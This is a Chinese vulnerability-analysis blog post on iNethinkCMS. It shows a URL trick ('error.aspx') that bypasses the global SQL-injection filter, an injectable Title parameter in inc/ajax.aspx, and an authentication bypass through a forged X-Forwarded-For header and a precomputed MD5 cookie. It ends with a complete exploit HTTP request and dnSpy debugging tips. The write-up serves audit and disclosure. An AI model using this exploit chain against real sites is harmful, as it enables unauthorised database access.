0x00:前言
之前在@Ivan1ee師傅的群里有师父再问有没有人研究过这个CMS,当时去官网下了源码初略看了一下没有发现啥问题,就搁置了一段时间,刚好最近有空就继续拿出来看看。 iNethinkCMS基于.NET4.0 C#分层开发,是一款精致小巧、开源、免费的CMS网站管理系统。创新的模板引擎(类标签式)、插件扩展技术,可以适应各类的网站开发需要。直接从官网可以下载到相关代码
0x01:分析代码
分析aspx.net代码我喜欢从Global.asax文件开始,Global一般会实现一些全局方法。
根据Inherits属性找到继承的类,在bin目录下即可找到对应的文件,这里我们使用Dnspy进行反编译以及调试工作。
Dnspy下载地址:
https://github.com/dnSpy/dnSpy
注意,使用Dnspy调试请选择对应的版本,我这里因为虚拟机是32位的就下载32位的版本,要不然找不到对应IIS进程
我们先看看Application_BeginReques
Application_BeginRequest 是 ASP.NET 中的一个事件,它在处理每个请求之前被触发。当一个请求到达服务器时,ASP.NET引擎会触发Application_BeginRequest 事件,然后开始处理请求。
对于Global.asax中的一些特有方法大家可以参考我以前文章中的介绍
https://www.anquanke.com/post/id/195226
第一个if先判断URL中是否包含error.aspx,给了我们第一个利用点。如果后续存在全局的SQL注入检测可以利用此逻辑绕过检测。
if (base.Request.Url.ToString().IndexOf("error.aspx") >= 0)
{
return;
}
下面就是一些网站状态判断,以及IP黑名单判断。最后实现了SQL注入的全局检测,通过判断请求方法进入不同的处理逻辑
过滤了GET、POST、Cookie、referer参数,从全局进行了SQL注入的过滤。当然由于前面存在一个逻辑,我们只需要在URL中带上error.aspx即可绕过
0x02:残废的SQL注入漏洞
全局搜了一下base.Request.QueryString,来到了iNethinkCMS.Web.inc.ajax,实际对应inc/ajax.aspx。跟进到Page_Load方法,Page_Load 是 ASP.NET Web Forms 页面生命周期中的一个事件,它在页面加载时被触发。当客户端请求一个 Web Forms 页面时,ASP.NET 引擎会自动创建页面对象并触发 Page_Load 事件。在里边看到这样一段代码
在这里,text12来自base.Request.QueryString["Title"],text12被拼接到SQL语句中去,跟进this.bll_content.GetRecordCoun看看是不是执行SQL语句
跟进SQLHelper.GetSingle
使用
sqlConnection
完成SQL查询并返回单个值,那我们确定这里存在一个SQL注入漏洞,我们返回ajax,寻找是否存在前置条件
需满足
versionsMode
的值等于 "checktitle",继续往上看
只有一个全局的base.CheckUserPower("login");,从字面上来看应该是登录身份校验,跟进看看
0x03:苛刻的绕过鉴权
我们跟进到CheckUserPower方法,单独拎出来写一章节的原因是这里鉴权存在一个苛刻的绕过条件。虽然苛刻但是也能绕过
先判断
if(string.IsNullOrEmpty(Command_Session.Get("admin_username")))
这一段用来检查会话中是否存在名为 "admin_username" 的变量,并判断该变量的值是否为空。如果变量的值为空,那么条件为真,可以执行相应的操作或逻辑。否则,如果变量的值不为空,条件为假,可以执行不同的操作或逻辑。
随后用Command_Cookie.GetCookie
从cookie中取了两值,cookie_admin_username和cookie_admin_password
BLL_iNethinkCMS_User bll_iNethinkCMS_User = new BLL_iNethinkCMS_User();
Model_iNethinkCMS_User model_iNethinkCMS_User = new Model_iNethinkCMS_User();
model_iNethinkCMS_User = bll_iNethinkCMS_User.GetModel(text);
if (model_iNethinkCMS_User != null && Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode) == text2)
关键在这一段,使用bll_iNethinkCMS_User.GetMode方法查询用户信息
然后
if (model_iNethinkCMS_User != null && Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode) == text2)
看这个条件,先是判断用户是否存在,然后判断
Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)
是否等于text2,我们逐个拆解
this.siteConfig.CacheKey:从配置文件sys.config中读出来,值为"CacheKey"
Command_Function.GetUserIp() :如果前端存在X-Forwarded-For就从前端取,那么我们可控。
model_iNethinkCMS_User.SecurityCode:从数据中查出来,用户表中的字段。
似乎看到这里没有什么办法绕,三个参数中只有SecurityCode是不确定的,无法控制。寻找一下SecurityCode是如何生成的,是否可以计算预测
全局搜了一下,只有在用户每次登录后会生成一个SecurityCode并更新到数据库,每次登录更新一次。text值由随机值+用户名生成,跟进RandomCode看看如何生成随机值的。
大概粗略的看了下這個隨機算法,穷举预测的概率很低,搞台量子计算机还有点希望。这里进入了死胡同,似乎无解了。突然脑壳抽风想一下当网站初始化的时候,也就是安装时会不会初始化一个值给SecurityCode的呢
看了下install页面并沒有相关处理逻辑,只有去读install/mssqldb.file的内容并在数据库执行的逻辑,看了下是官方给的安装SQL文件
INSERT [dbo].[iNethinkCMS_User] ([UserGuid],], [UserPowe [UserType], [UserName], [UserPass], [UserTrueName], [UserEmailr], [UserChannelPower], [UserRegTime], [SecurityCode]) VALUES ( N'7d4eef6c-c8cb-4049-841d-4769d22b5e36', 1, N'admin', N'96e79218965eb72c92a549dd5a330112', N'iNethinkCMS', N'[email protected]', N'a,a1,a2,a3,a4,b,b1,b2,c,c1,c2,c3,d,d1,d2,f,f1,f2,f3,f4,f5,e,e1,e2,e3,e4,e5,e6,e7', N'0', GETDATE(), N'')
在网站初始化创建好后,系统并没有赋予给SecurityCode一个值,只有当用户第一次登陆后才会赋一个值给SecurityCode,那么我们前面讲到
Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)
这个逻辑,我们已知
this.siteConfig.CacheKey默认为CacheKey,
Command_Function.GetUserIp()我们可控,可随意指定,
model_iNethinkCMS_User.SecurityCode如果用户从未登录过系统则也为空,那么我们就可以满足这个逻辑从而进入下一步。这就是我说的苛刻的条件,需要一个系统用户从未登陆过后台,不一定是Admin用户,只要在user表中,且从未登陆过的用户都可以
为了验证这个猜想,我在后台新建了一个用户,不用赋予任何权限。默认即可
可以看到在用户从未登录的情况下,SecurityCode的值是为空的。
这个猜想得到验证后我们回到 CheckUserPower(string byUserPower)这个函数的实现过程中,继续看。可以看到当我们满足条件后就会赋予session相应的值。在37行会默认添加一个login,字符给SysLoginUserPower。让我们把思绪带回0x01中的SQL注入那一节,代码开头有一个base.CheckUserPower("login"),那么这里在37行就会默认赋予一个login。成功满足条件。造成SQL注入,让一个登录后的SQL注入,变成一个条件苛刻的登录前SQL注入
根据
Command_MD5.md5(this.siteConfig.CacheKey + Command_Function.GetUserIp() + model_iNethinkCMS_User.SecurityCode)
我们构造参数即可,
this.siteConfig.CacheKey默认为"CacheKey",
Command_Function.GetUserIp()可控,从前端取,我们设置X-Forwarded-For:127.0.0.1 即可。
所以我们最终构造出
cookie_admin_password=md5(CacheKey127.0.0.1)即可,
那么则为8f334b5d7fb04b8345bb32cffd7d0b8a
最终这个认证的绕过方法为:
GET /inc/ajax.aspx?Act=checktitle&Title=1'and%201=@@version--&&a=error.aspx HTTP/1.1
Host: 192.168.111.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Forwarded-For:127.0.0.1
Cookie: cookie_admin_username=test; cookie_admin_password=8f334b5d7fb04b8345bb32cffd7d0b8a;
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.130/
Connection: close
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Pragma: no-cache
Cache-Control: no-cache
首先我们需要在URL中添加一个&a=error.aspx,这个是为了绕过全局的SQL注入拦截。具体原理前面有讲过,然后cookie_admin_username要设置为一个从未登陆过的用户的用户名,cookie_admin_password设置为8f334b5d7fb04b8345bb32cffd7d0b8a,X-Forwarded-For设置为127.0.0.1。当然其他值也可以,只要计算出对应的cookie_admin_password即可。
最终在未登录的情况下触发SQL注入。
0x04:其他
这套CMS在登录的情况下可以利用的点还是挺多的,就不过多分析了。顺便在讲讲这种场景下如何使用dnspy+iis进行调试
这里我使用的是iis10+dnspy 32位。
当我们搭建好系统后,数据库以及IIS都已经配置好了,网站也能正常访问后 使用管理员身份打开Dnspy
选择调试功能,附加到进程
找到w3wp.exe 找不到就刷新几次,要不然就是版本不对。
找到下面的模块,选中你要调试的dll,然后右键点击转到模块
然后找到对应的代码逻辑打上断点即可
然后访问触发对应的页面即可进入断点
在数据库是sql server的场景下,在做代码审计时想看具体的SQL日志也是很方便,使用Mssql自带的SQL Server Profiler即可。
新建一个跟踪
随后查看对应的SQL日志即可
原文始发于微信公众号(攻队):基于ASPX.NET的某CMS漏洞分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论